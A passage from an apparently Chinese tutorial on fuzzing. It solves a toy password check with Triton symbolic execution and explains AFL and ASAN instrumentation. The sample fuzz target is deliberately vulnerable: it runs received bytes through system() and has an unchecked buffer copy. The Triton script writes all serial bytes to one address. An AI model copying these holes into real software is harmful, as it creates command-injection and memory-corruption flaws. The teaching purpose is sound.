   [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial           <- Point\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\np15 = p13\np16 = *(add(p14,p15))\np17 = sub(p16,1)\np18 = xor(p17,0x55)\np19 = _serial\n\nRegister Reference Table :\n\nRAX : p19\nRBX : -1\nRCX : p15\nRDX : p18\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round22)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]         <- Point\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\np15 = p13\np16 = *(add(p14,p15))\np17 = sub(p16,1)\np18 = xor(p17,0x55)\np19 = _serial\np20 = p13\n\nRegister Reference Table :\n\nRAX : p19\nRBX : -1\nRCX : p20\nRDX : p18\nRSI : p9\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round23)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]   <- Point\ncmp     edx, esi\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\np15 = p13\np16 = *(add(p14,p15))\np17 = sub(p16,1)\np18 = xor(p17,0x55)\np19 = _serial\np20 = p13\np21 = *(add(p19,p20))\n\nRegister Reference Table :\n\nRAX : p19\nRBX : -1\nRCX : p20\nRDX : p18\nRSI : p21\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n----\n\n(Round24)\n\nCode :\n\nmov     [rbp+var_10], rdi\nmov     [rbp+var_14], 0\ncmp     [rbp+var_14], 5\njge     loc_100000F7C\nmov     rax, [rbp+var_10]\nmovsxd  rcx, [rbp+var_14]\nmovsx   edx, byte ptr [rax+rcx]\nsub     edx, 1\nxor     edx, 55h\nmov     rax, cs:_serial\nmovsxd  rcx, [rbp+var_14]\nmovsx   esi, byte ptr [rax+rcx]\ncmp     edx, esi                  <- Point\njz      loc_100000F6E\nmov     [rbp+var_4], 1\njmp     loc_100000F83\nmov     eax, [rbp+var_14]\nadd     eax, 1\nmov     [rbp+var_14], eax\njmp     loc_100000F2F\n\nSymbolic Expression :\n\np0 = rdi\np1 = 0\np2 = p0\np3 = p1\np4 = *(add(p2,p3))\np5 = sub(p4,1)\np6 = xor(p5,0x55)\np7 = _serial\np8 = p1\np9 = *(add(p7,p8))\np10 = 1\np11 = p1\np12 = add(p11,1)\np13 = p12\np14 = p0\np15 = p13\np16 = *(add(p14,p15))\np17 = sub(p16,1)\np18 = xor(p17,0x55)\np19 = _serial\np20 = p13\np21 = *(add(p19,p20))\n\nRegister Reference Table :\n\nRAX : p19\nRBX : -1\nRCX : p20\nRDX : p18\nRSI : p21\nRDI : (control)\n\nMemory Reference Table :\n\nvar_4          : p10\nvar_14         : p13\nvar_10         : p0\ninput_buffer   : [ -1 , -1 , -1 , -1 , -1 , -1 , -1 , -1 ]\n_serial_buffer : [ 0x31 , 0x3E ,0x3D ,0x26 ,0x31 ]\n\n```\n\n  在第二轮循环里面,可以看到var_14 经过了一次循环之后进行了自增,读取input_buffer 和_serial_buffer 的下一个内容.然后我们对第二轮循环进行约束条件构造\n\n```txt\n\n(RDX == RSI) => (p21 == p18) => (xor(sub(*(add(p0,p13)),1),0x55) == (*(add(_serial,p13)))) => (xor(sub(*(add(rdi,add(p11,1))),1),0x55) == (*(add(_serial,add(p11,1))))) => (xor(sub(*(add(rdi,add(p1,1))),1),0x55) == (*(add(_serial,add(p1,1))))) => (xor(sub(*(add(rdi,add(0,1))),1),0x55) == (*(add(_serial,add(0,1)))))\n\n```\n\n  rdi 指向的是input_buffer 的缓冲区地址,那么通过符号执行现在可以计算出要读的缓存位置就是add(0,1) = 1 .我们继续精简约束:\n\n```txt\n\n(RDX == RSI) => (xor(sub(*(add(rdi,add(0,1))),1),0x55) == (*(add(_serial,add(0,1))))) => (xor(sub(X2,1),0x55) == (0x3E))\n\n```\n\n  经过上面对寄存器和内存的布局分析理解静态符号执行的原理之后.接下来我们来思考一个问题,如何对我们希望执行的条件分支进行约束判断呢?我们继续回来阅读测试代码:\n\n```c\n\nchar *serial = \"\\x31\\x3e\\x3d\\x26\\x31\";\n\nint check_password(char *ptr)\n{\n  int i = 0;\n  while (i < 5){\n    if (((ptr[i] - 1) ^ 0x55) != serial[i])\n      return 1; /* bad password */\n    i++;\n  }\n  return 0; /* good password */\n}\n\n```\n\n  注意代码中的if 判断,如果ptr 中的内容经过异或之后不符合结果,那就自动退出程序执行,所以我们寻求ptr 中唯一正确解的字符串内容,关键的要点就是要对`cmp edx,esi` 进行检验.\n\n```txt\n\n0x0100000F2F:    cmp     [rbp+var_14], 5\n0x0100000F33:    jge     loc_100000F7C      <-  The condition of for check ..\n                 ;  ...\n0x0100000F5A:    cmp     edx, esi           <-  Check Condition ..\n0x0100000F5C:    jz      loc_100000F6E      <-  is equal \n0x0100000F62:    mov     [rbp+var_4], 1\n0x0100000F69:    jmp     loc_100000F83      <-  not equal than return\n0x0100000F6E:    mov     eax, [rbp+var_14]\n0x0100000F71:    add     eax, 1\n0x0100000F74:    mov     [rbp+var_14], eax\n0x0100000F77:    jmp     loc_100000F2F      <-  Jump to for condition check ..\n0x0100000F7C:    mov     [rbp+var_4], 0\n0x0100000F83:    mov     eax, [rbp+var_4]   <-  Get Return Value\n0x0100000F86:    pop     rbp\n0x0100000F87:    retn\n\n```\n\n  `cmp edx,esi` 对边edx 和esi 的值,然后根据两者相等来判断是否要进行跳转到地址0x100000F6E ,接下来我们希望要在0x0100000F5A 这里设置断点计算推出edx 适合条件判断的值应该怎么操作呢?这就需要引入动态符号执行,我们以动态符号执行引擎Triton 为例子编写一个Fuzzing 脚本,这个脚本的原理是通过在`cmp edx,esi` 中进行求解得出输入缓冲区的内存:\n\n```python\n\nfrom triton import TritonContext, ARCH, Instruction, MemoryAccess, CPUSIZE, MODE\n\n\nfunction_code = {                                  #   <serial> function\n    0x100000F20 : '\\x55' ,                         #  push    rbp\n    0x100000F21 : '\\x48\\x89\\xe5' ,                 #  mov     rbp, rsp\n    0x100000F24 : '\\x48\\x89\\x7d\\xf0' ,             #  mov     [rbp+var_10], rdi\n    0x100000F28 : '\\xc7\\x45\\xec\\x00\\x00\\x00\\x00' , #  mov     [rbp+var_14], 0\n    0x100000F2F : '\\x83\\x7d\\xec\\x05' ,             #  cmp     [rbp+var_14], 5\n    0x100000F33 : '\\x0f\\x8d\\x43\\x00\\x00\\x00' ,     #  jge     loc_100000F7C\n    0x100000F39 : '\\x48\\x8b\\x45\\xf0' ,             #  mov     rax, [rbp+var_10]\n    0x100000F3D : '\\x48\\x63\\x4d\\xec' ,             #  movsxd  rcx, [rbp+var_14]\n    0x100000F41 : '\\x0f\\xbe\\x14\\x08' ,             #  movsx   edx, byte ptr [rax+rcx]\n    0x100000F45 : '\\x83\\xea\\x01' ,                 #  sub     edx, 1\n    0x100000F48 : '\\x83\\xf2\\x55' ,                 #  xor     edx, 55h\n    0x100000F4B : '\\x48\\x8b\\x05\\xae\\x00\\x00\\x00' , #  mov     rax, cs:_serial\n    0x100000F52 : '\\x48\\x63\\x4d\\xec' ,             #  movsxd  rcx, [rbp+var_14]\n    0x100000F56 : '\\x0f\\xbe\\x34\\x08' ,             #  movsx   esi, byte ptr [rax+rcx]\n    0x100000F5A : '\\x39\\xf2' ,                     #  cmp     edx, esi\n    0x100000F5C : '\\x0f\\x84\\x0c\\x00\\x00\\x00' ,     #  jz      loc_100000F6E\n    0x100000F62 : '\\xc7\\x45\\xfc\\x01\\x00\\x00\\x00' , #  mov     [rbp+var_4], 1\n    0x100000F69 : '\\xe9\\x15\\x00\\x00\\x00' ,         #  jmp     loc_100000F8\n    0x100000F6E : '\\x8b\\x45\\xec' ,                 #  mov     eax, [rbp+var_14]\n    0x100000F71 : '\\x83\\xc0\\x01' ,                 #  add     eax, 1\n    0x100000F74 : '\\x89\\x45\\xec' ,                 #  mov     [rbp+var_14], eax\n    0x100000F77 : '\\xe9\\xb3\\xff\\xff\\xff' ,         #  jmp     loc_100000F2F\n    0x100000F7C : '\\xc7\\x45\\xfc\\x00\\x00\\x00\\x00' , #  mov     [rbp+var_4], 0\n    0x100000F83 : '\\x8b\\x45\\xfc' ,                 #  mov     eax, [rbp+var_4]\n    0x100000F86 : '\\x5d' ,                         #  pop     rbp\n    0x100000F87 : '\\xc3' ,                         #  retn\n}\n\nTriton = TritonContext()\n\nTriton.setArchitecture(ARCH.X86_64)\nTriton.enableMode(MODE.ALIGNED_MEMORY, True)\n\n\ndef run(eip_address) :\n    while eip_address in function_code :\n        #print 'Current Address:',hex(eip_address)\n        instruction_data = Instruction()\n\n        instruction_data.setOpcode(function_code[eip_address])\n        instruction_data.setAddress(eip_address)\n\n        Triton.processing(instruction_data)\n\n        eip_address = Triton.getRegisterAst(Triton.registers.rip).evaluate()\n\ndef init_context(input_data) :\n    Triton.concretizeAllRegister()  #  clean register record\n    Triton.concretizeAllMemory()    #  clean memory record\n\n    for input_data_address,input_data_value in input_data.items() :\n        Triton.setConcreteMemoryValue(input_data_address,input_data_value)  #  input data buffer .\n        Triton.convertMemoryToSymbolicVariable(MemoryAccess(input_data_address, CPUSIZE.BYTE))\n        Triton.convertMemoryToSymbolicVariable(MemoryAccess(input_data_address+1, CPUSIZE.BYTE))\n\n    Triton.setConcreteMemoryValue(0x100001000, 0x31)  #  Setting data for global data string .\n    Triton.setConcreteMemoryValue(0x100001000, 0x3e)\n    Triton.setConcreteMemoryValue(0x100001000, 0x3d)\n    Triton.setConcreteMemoryValue(0x100001000, 0x26)\n    Triton.setConcreteMemoryValue(0x100001000, 0x31)\n\n    Triton.setConcreteRegisterValue(Triton.registers.rdi, 0x1000)  #  RDI is input buffer .\n    Triton.setConcreteRegisterValue(Triton.registers.rsp, 0x7fffffff)\n    Triton.setConcreteRegisterValue(Triton.registers.rbp, 0x7fffffff)\n\ndef get_path() :\n    code_stream_record_list = Triton.getPathConstraints()\n    ast_context = Triton.getAstContext()\n    last_branch = ast_context.equal(ast_context.bvtrue(),ast_context.bvtrue())\n    make_input_data = []\n\n    for code_stream_record_index in code_stream_record_list :\n        if not code_stream_record_index.isMultipleBranches() :\n            continue\n\n        branch_list = code_stream_record_index.getBranchConstraints()\n\n        for branch_index in branch_list :\n            if branch_index['isTaken'] :\n                continue\n\n            models = Triton.getModel(ast_context.land([last_branch,branch_index['constraint']]))\n            print models\n\n            if len(models) == 1 :\n                if models.values()[0].getValue() == 0 :\n                    continue\n\n            temp_data = {}\n\n            for models_address_index,models_value_index in models.items() :\n                symblo = Triton.getSymbolicVariableFromId(models_address_index)\n                temp_data[symblo.getOrigin()] = models_value_index.getValue()\n\n            make_input_data.append(temp_data)\n\n        last_branch = ast_context.land([last_branch,code_stream_record_index.getTakenPathConstraintAst()])\n\n    Triton.clearPathConstraints()\n\n    return make_input_data\n\n\nif __name__ == '__main__' :\n    history_data = []\n    try_list = [{0x1000:0x00}]\n\n    while try_list :\n        print '----'\n        history_data.append(try_list[0])\n        print 'Try input >>>',try_list[0]\n\n        init_context(try_list[0])  #  init Triton Execute Context .\n        run(0x100000F20)           #  try execute\n\n        del try_list[0]\n\n        make_input_data = get_path()  #  calculate path\n\n        for make_input_data_index in make_input_data :\n            if make_input_data_index in try_list or make_input_data_index in history_data :\n                continue\n\n            try_list.append(make_input_data_index)\n\n```\n\n  程序运行结果如下:\n\n![](pic7/pic4.png)\n\n  现在回来对代码进行分析,我们看到下面的代码:\n\n```python\n\ndef init_context(input_data) :\n    Triton.concretizeAllRegister()  #  clean register record\n    Triton.concretizeAllMemory()    #  clean memory record\n\n```\n\n  在Triton 尝试符号执行时首先要把寄存器布局和内存布局的记录全部清空,然后再对内存进行初始值的设定:\n\n```python\n\n    #  设置输入内存的值\n    for input_data_address,input_data_value in input_data.items() :\n        Triton.setConcreteMemoryValue(input_data_address,input_data_value)  #  input data buffer .\n        Triton.convertMemoryToSymbolicVariable(MemoryAccess(input_data_address, CPUSIZE.BYTE))\n        Triton.convertMemoryToSymbolicVariable(MemoryAccess(input_data_address+1, CPUSIZE.BYTE))\n\n    #  设置_serial_buffer 的值\n    Triton.setConcreteMemoryValue(0x100001000, 0x31)  #  Setting data for global data string .\n    Triton.setConcreteMemoryValue(0x100001000, 0x3e)\n    Triton.setConcreteMemoryValue(0x100001000, 0x3d)\n    Triton.setConcreteMemoryValue(0x100001000, 0x26)\n    Triton.setConcreteMemoryValue(0x100001000, 0x31)\n\n    #  初始化寄存器的值\n    Triton.setConcreteRegisterValue(Triton.registers.rdi, 0x1000)  #  RDI is input buffer .\n    Triton.setConcreteRegisterValue(Triton.registers.rsp, 0x7fffffff)\n    Triton.setConcreteRegisterValue(Triton.registers.rbp, 0x7fffffff)\n\n```\n\n  初始值设置完成之后,接下来就调用`run()` 执行分析:\n\n```python\n\ndef run(eip_address) :\n    while eip_address in function_code :\n        #print 'Current Address:',hex(eip_address)\n        instruction_data = Instruction()\n\n        instruction_data.setOpcode(function_code[eip_address])\n        instruction_data.setAddress(eip_address)\n\n        Triton.processing(instruction_data)\n\n        eip_address = Triton.getRegisterAst(Triton.registers.rip).evaluate()  #  执行指令并获取下一个跳转地址\n\n```\n\n  `get_path()` 则是我们对程序判断(`cmp edx,esi`) 的求解过程,精简`get_path()` 的原理如下:\n\n```python\n\n\ndef get_path() :\n    code_stream_record_list = Triton.getPathConstraints()  #  获取程序执行的全部符号执行结果\n    ast_context = Triton.getAstContext()                   \n\n    for code_stream_record_index in code_stream_record_list :\n        if not code_stream_record_index.isMultipleBranches() :  #  判断是不是多分支结构\n            continue\n\n        branch_list = code_stream_record_index.getBranchConstraints()  #  获取分析内容\n\n        for branch_index in branch_list :\n            models = Triton.getModel(ast_context.land([last_branch,branch_index['constraint']]))  #  对分支进行求解\n\n            for models_address_index,models_value_index in models.items() :  #  获取求解数据\n                symblo = Triton.getSymbolicVariableFromId(models_address_index)\n                temp_data[symblo.getOrigin()] = models_value_index.getValue()\n\n        last_branch = ast_context.land([last_branch,code_stream_record_index.getTakenPathConstraintAst()])\n\n    Triton.clearPathConstraints()  #  清除所有执行记录\n\n```\n\n  我们输出`get_path()` 执行的内容看看:\n\n![](pic7/pic5.png)\n\n  可以看到,输出的内容是经过优化之后的SMT 表达式,z3 最后根据这些表达试来求解出对应的结果.\n\n\n## 程序插桩与代码覆盖率\n\n  讲述程序插桩这章,我们继续沿用第六章的示例代码来进行分析:\n\n```c\n\n#include <memory.h>\n#include <stdlib.h>\n#include <stdio.h>\n\n\nenum {\n  MessageType_Hello = 0,\n  MessageType_Execute,\n  MessageType_Data\n};\n\nvoid execute_command(const unsigned char* command) {\n    system(command);\n}\n\nvoid decrypt_data(const unsigned char* data_buffer,unsigned char data_buffer_length) {\n    unsigned char* buffer[8] = {0};\n    \n    for (unsigned int data_index = 0;data_index < data_buffer_length;++data_index)\n        buffer[data_index] = data_buffer[data_index] ^ 0x65;\n    \n    printf(\"Recv:%s\\n\",&buffer);\n}\n\nint buffer_resolver(const unsigned char* buffer) {\n    unsigned char buffer_length = buffer[0];\n    \n    if (2 <= buffer_length)\n        return 0;\n    \n    if (MessageType_Hello == buffer[1]) {\n        printf(\"Hello\\n\");\n    } else if (MessageType_Execute == buffer[1]) {\n        unsigned char* command_buffer = (unsigned char*)malloc(buffer_length - 1);\n        \n        memset(&command_buffer,0,buffer_length);\n        memcpy(&command_buffer,&buffer[2],buffer_length - 2);\n        \n        execute_command(command_buffer);\n    } else if (MessageType_Data == buffer[1]) {\n        decrypt_data(&buffer[2],buffer_length - 2);\n    }\n    \n    return 1;\n}\n\n```\n\n  在此,如果我们要对这段代码进行Fuzzing ,那么Fuzzing 入口是`buffer_resolver()` ,如果要用libFuzzer 对它进行Fuzzing ,代码如下:\n\n```c++\n\nextern \"C\" int LLVMFuzzerTestOneInput(const unsigned char* data,unsigned int size) {\n\treturn buffer_resolver(data);\n}\n\n```\n\n  这样对于Fuzzing buffer_resolver() 函数是一个简单粗暴的方法,那么AFL 对程序进行插桩的原理是怎么样的呢?我们先来分析一下程序执行图\n\n![](pic6/pic13.png)\n\n  可以看到,对于buffer[1] 的检查涵盖了三个判断语句,对于buffer[0] 的检查也涵盖了一个语句.那么要对程序进行插住分析,关键的一点是在函数入口点和函数内部的判读结构进行插桩,在此记录程序的执行状态.我们先来看看AFL 的实现:\n\n```c\n\nstatic const u8* trampoline_fmt_32 =\n  \"\\n\"\n  \"/* --- AFL TRAMPOLINE (32-BIT) --- */\\n\"\n  \"\\n\"\n  \".align 4\\n\"\n  \"\\n\"\n  \"leal -16(%%esp), %%esp\\n\"\n  \"movl %%edi,  0(%%esp)\\n\"    //  movl 的意思刚好和mov 相反,是edi 赋值给(esp + 0) 而不是esp 赋值给edi\n  \"movl %%edx,  4(%%esp)\\n\"\n  \"movl %%ecx,  8(%%esp)\\n\"\n  \"movl %%eax, 12(%%esp)\\n\"\n  \"movl $0x%08x, %%ecx\\n\"      //  这里填充的数字是当前代码块的id \n  \"call __afl_maybe_log\\n\"\n  \"movl 12(%%esp), %%eax\\n\"\n  \"movl  8(%%esp), %%ecx\\n\"\n  \"movl  4(%%esp), %%edx\\n\"\n  \"movl  0(%%esp), %%edi\\n\"\n  \"leal 16(%%esp), %%esp\\n\"\n  \"\\n\"\n  \"/* --- END --- */\\n\"\n  \"\\n\";\n\n//  省略多余代码\n\nstatic void add_instrumentation(void) {  //  AFL instrutment code in /afl-as.c:221\n\t///  ....\n\n\t  if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) {  //  TIPS!\n\t    //  not jmp ,is jnz jz jq jng ...\n\t    printf(\"insert code -- line=%s inst_ratio=%d \\n\",line,inst_ratio);\n\t    fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,\n\t            R(MAP_SIZE));\n\n\t    ins_lines++;\n      }\n\n    ///  ....\n}\n\n```\n\n  注释TIPS 中的判断,指的是遍历gcc 编译的.S 文件(afl 的插桩原理是通过GCC 在汇编阶段中调用as 命令来进行汇编,然后在获取到程序代码编译之后的/S 文件来进行逐行解析指令内容)中的指令是不是jz /jnz /jg 这些指令(也就是除了jmp 之外的跳转指令),然后在此下方插入插桩代码.`trampoline_fmt_32` 的代码是指,获取EDI EDX ECX EAX 的值保存到栈中,然后传递给`__afl_maybe_log()` 保存执行记录.我们把示例函数用clang 和afl-clang 编译,然后在IDA 上观察.\n\n  Clang 编译的结果:\n\n![](pic7/pic7.png)\n\n  afl-clang 的编译结果(注意,RCX 中保存的是当前块的ID ):\n\n![](pic7/pic6.png)\n\n  可以看到,用afl-clang 编译出来的二进制程序在条件判断跳转指令的下方插入了获取寄存器信息的记录代码,我们再来看看`__afl_maybe_log()` 函数的源码:\n\n```c\n\nstatic const u8* main_payload_32 = \n\n  \"\\n\"\n  \"/* --- AFL MAIN PAYLOAD (32-BIT) --- */\\n\"\n  \"\\n\"\n  \".text\\n\"\n  \".att_syntax\\n\"\n  \".code32\\n\"\n  \".align 8\\n\"\n  \"\\n\"\n\n  \"__afl_maybe_log:\\n\"  //  __afl_maybe_log() 函数入口点\n  \"\\n\"\n  \"  lahf\\n\"\n  \"  seto %al\\n\"\n  \"\\n\"\n  \"  /* Check if SHM region is already mapped. */\\n\"\n  \"\\n\"\n  \"  movl  __afl_area_ptr, %edx\\n\"  //  获取__afl_area_ptr 指针\n  \"  testl %edx, %edx\\n\"\n  \"  je    __afl_setup\\n\"   //  判断获取__afl_area_ptr 是否为空,如果为空就调用__afl_setup 初始化\n  \"\\n\"\n  \"__afl_store:\\n\"      //  __afl_store() 函数入口点\n  \"\\n\"\n  \"  /* Calculate and store hit for the code location specified in ecx. There\\n\"\n  \"     is a double-XOR way of doing this without tainting another register,\\n\"\n  \"     and we use it on 64-bit systems; but it's slower for 32-bit ones. */\\n\"\n  \"\\n\"\n#ifndef COVERAGE_ONLY\n  \"  movl __afl_prev_loc, %edi\\n\"  //  获取__afl_prev_loc 的数据,这里保存的之前执行的代码路径记录\n  \"  xorl %ecx, %edi\\n\"            //  把当前执行到的代码块位置和__afl_prev_loc 的结果进行运算\n  \"  shrl $1, %ecx\\n\"              //  \n  \"  movl %ecx, __afl_prev_loc\\n\"  //  保存结果到__afl_prev_loc ,它的意义在于,当我们执行不同的分支路径,通过对这些代码块的id 进行位运算来识别当前程序是不是相同的执行路径\n#else\n  \"  movl %ecx, %edi\\n\"\n#endif /* ^!COVERAGE_ONLY */\n  \"\\n\"\n#ifdef SKIP_COUNTS\n  \"  orb  $1, (%edx, %edi, 1)\\n\"\n#else\n  \"  incb (%edx, %edi, 1)\\n\"\n#endif /* ^SKIP_COUNTS */\n  \"\\n\"\n  \"__afl_return:\\n\"\n  \"\\n\"\n  \"  addb $127, %al\\n\"\n  \"  sahf\\n\"\n  \"  ret\\n\"  //  退出__afl_maybe_log\n  \"\\n\"\n  \".align 8\\n\"\n\n```\n\n  所以,每次当代码执行到这个路径中的代码块的位置时,AFL 在程序中插桩的代码都可以检测到具体执行到的代码位置并计算执行路径.在对程序进行Fuzzing 的一个重要指标就是代码覆盖率,你的Fuzzing 策略和变异的数据可以触发更多的代码路径,那么就更能够发现隐藏的漏洞.\n\n![](pic7/pic8.png)\n\n  从图中可以明白,如果测试样本只能覆盖Iteration1 和Iteration2 的话,那么Program 下除此之外位置的代码都是无法被执行到的,假定现在有5 个漏洞,以目前能Fuzzing 的代码覆盖率只能检测到3 个漏洞,另外2 个漏洞无法被检测出来,前面几章一直强调提高代码覆盖率的意义就在此.\n\n  程序插桩除了检测代码覆盖率之外,也可以对指针越界进行检查,我们以ASAN 为例子,这是一段示例代码:\n\n```c\n\n#include <memory.h>\n#include <stdlib.h>\n\nint main(int argv,char** argc) {\n        char* buffer = (char*)malloc(10);\n\n        *(int *)&buffer[4] = 0xAAAAAAAA;\n        free(buffer);\n\n        return 0;\n}\n\n```\n\n  在不启用ASAN 的情况下编译,LLVM IR 代码如下:\n\n```llvm\n\ndefine i32 @main(i32, i8**) #0 {\n  %3 = alloca i32, align 4\n  %4 = alloca i32, align 4\n  %5 = alloca i8**, align 8\n  %6 = alloca i8*, align 8\n  store i32 0, i32* %3, align 4\n  store i32 %0, i32* %4, align 4\n  store i8** %1, i8*** %5, align 8\n  %7 = call i8* @malloc(i64 10) #3               #  从malloc() 中分配内存\n  store i8* %7, i8** %6, align 8\n  %8 = load i8*, i8** %6, align 8\n  %9 = getelementptr inbounds i8, i8* %8, i64 4  #  获取数组位置\n  %10 = bitcast i8* %9 to i32*                   #  转换1 字节数组成4 字节\n  store i32 -1431655766, i32* %10, align 4       #  保存数据到这里\n  %11 = load i8*, i8** %6, align 8\n  call void @free(i8* %11)\n  ret i32 0\n}\n\n```\n\n  在启用ASAN 的情况下编译,LLVM IR 代码如下:\n\n```llvm\n\ndefine i32 @main(i32 %argv, i8** %argc) #0 {\n  %retval = alloca i32, align 4\n  %argv.addr = alloca i32, align 4\n  %argc.addr = alloca i8**, align 8\n  %buffer = alloca i8*, align 8\n  store i32 0, i32* %retval, align 4\n  store i32 %argv, i32* %argv.addr, align 4\n  store i8** %argc, i8*** %argc.addr, align 8\n  %1 = bitcast i8** %buffer to i8*\n  call void @llvm.lifetime.start.p0i8(i64 8, i8* %1) #4\n  %call = call i8* @malloc(i64 10) #5                     #  从malloc() 中分配内存\n  store i8* %call, i8** %buffer, align 8\n  %2 = load i8*, i8** %buffer, align 8\n  %arrayidx = getelementptr inbounds i8, i8* %2, i64 4    #  获取数组第四个元素\n  %3 = bitcast i8* %arrayidx to i32*                      #  转换1 字节数组成4 字节\n                                                          #  /-- AddressSanitizer::instrumentAddress()\n  %4 = ptrtoint i32* %3 to i64                            #  |  获取数组地址对应内容\n                                                          #  |--/-- AddressSanitizer::memToShadow()\n  %5 = lshr i64 %4, 3                                     #  |  |  \n  %6 = or i64 %5, 17592186044416                          #  |  |  计算数组在Shadow 表中的位置\n                                                          #  |--\\-- AddressSanitizer::memToShadow()\n  %7 = inttoptr i64 %6 to i8*                             #  |  计算Shadow 表中的数据指针位置\n  %8 = load i8, i8* %7                                    #  |  从Shadow 表中获取数据\n  %9 = icmp ne i8 %8, 0                                   #  |  判断指针是否为空\n  br i1 %9, label %10, label %16, !prof !3                #  |  判断跳转\n                                                          #  |  \n; <label>:10:                                     ; preds = %0\n                                                          #  |--/-- AddressSanitizer::createSlowPathCmp()\n  %11 = and i64 %4, 7                                     #  |  |  (1 << kDefaultShadowScale) - 1\n  %12 = add i64 %11, 3                                    #  |  |  计算写入数据的指针位置\n  %13 = trunc i64 %12 to i8                               #  |  |\n  %14 = icmp sge i8 %13, %8                               #  |  |  判断是否越界,这个是>= 判断,对比写入数据指针是否超过了Buffer 的上标界限\n                                                          #  |--\\-- AddressSanitizer::createSlowPathCmp()\n  br i1 %14, label %15, label %16                         #  |\n\n; <label>:15:                                     ; preds = %10\n                                                          #  |--/-- AddressSanitizer::generateCrashCode(）\n  call void @__asan_report_store4(i64 %4)                 #  |  |  显示ASAN 报告详细错误\n  call void asm sideeffect \"\", \"\"()                       #  |  |\n  unreachable                                             #  |  |\n                                                          #  |--\\-- AddressSanitizer::generateCrashCode()\n                                                          #  \\-- AddressSanitizer::instrumentAddress()\n\n; <label>:16:                                     ; preds = %10, %0\n  store i32 -1431655766, i32* %3, align 4\n  %17 = load i8*, i8** %buffer, align 8\n  call void @free(i8* %17)\n  %18 = bitcast i8** %buffer to i8*\n  call void @llvm.lifetime.end.p0i8(i64 8, i8* %18) #4\n  ret i32 0\n}\n\n```\n\n  ASAN 的代码插桩逻辑代码如下:\n\n```c++\n\nValue *AddressSanitizer::createSlowPathCmp(IRBuilder<> &IRB, Value *AddrLong,\n                                           Value *ShadowValue,\n                                           uint32_t TypeSize) {\n  size_t Granularity = static_cast<size_t>(1) << Mapping.Scale;\n  // Addr & (Granularity - 1)\n  Value *LastAccessedByte =\n      IRB.CreateAnd(AddrLong, ConstantInt::get(IntptrTy, Granularity - 1));\n  // (Addr & (Granularity - 1)) + size - 1\n  if (TypeSize / 8 > 1)\n    LastAccessedByte = IRB.CreateAdd(\n        LastAccessedByte, ConstantInt::get(IntptrTy, TypeSize / 8 - 1));\n  // (uint8_t) ((Addr & (Granularity-1)) + size - 1)\n  LastAccessedByte =\n      IRB.CreateIntCast(LastAccessedByte, ShadowValue->getType(), false);\n  // ((uint8_t) ((Addr & (Granularity-1)) + size - 1)) >= ShadowValue\n  return IRB.CreateICmpSGE(LastAccessedByte, ShadowValue);\n}\n\nValue *AddressSanitizer::memToShadow(Value *Shadow, IRBuilder<> &IRB) {  //  计算Shadow 表位置\n  // Shadow >> scale\n  Shadow = IRB.CreateLShr(Shadow, Mapping.Scale);  //  插入LShr 指令\n  if 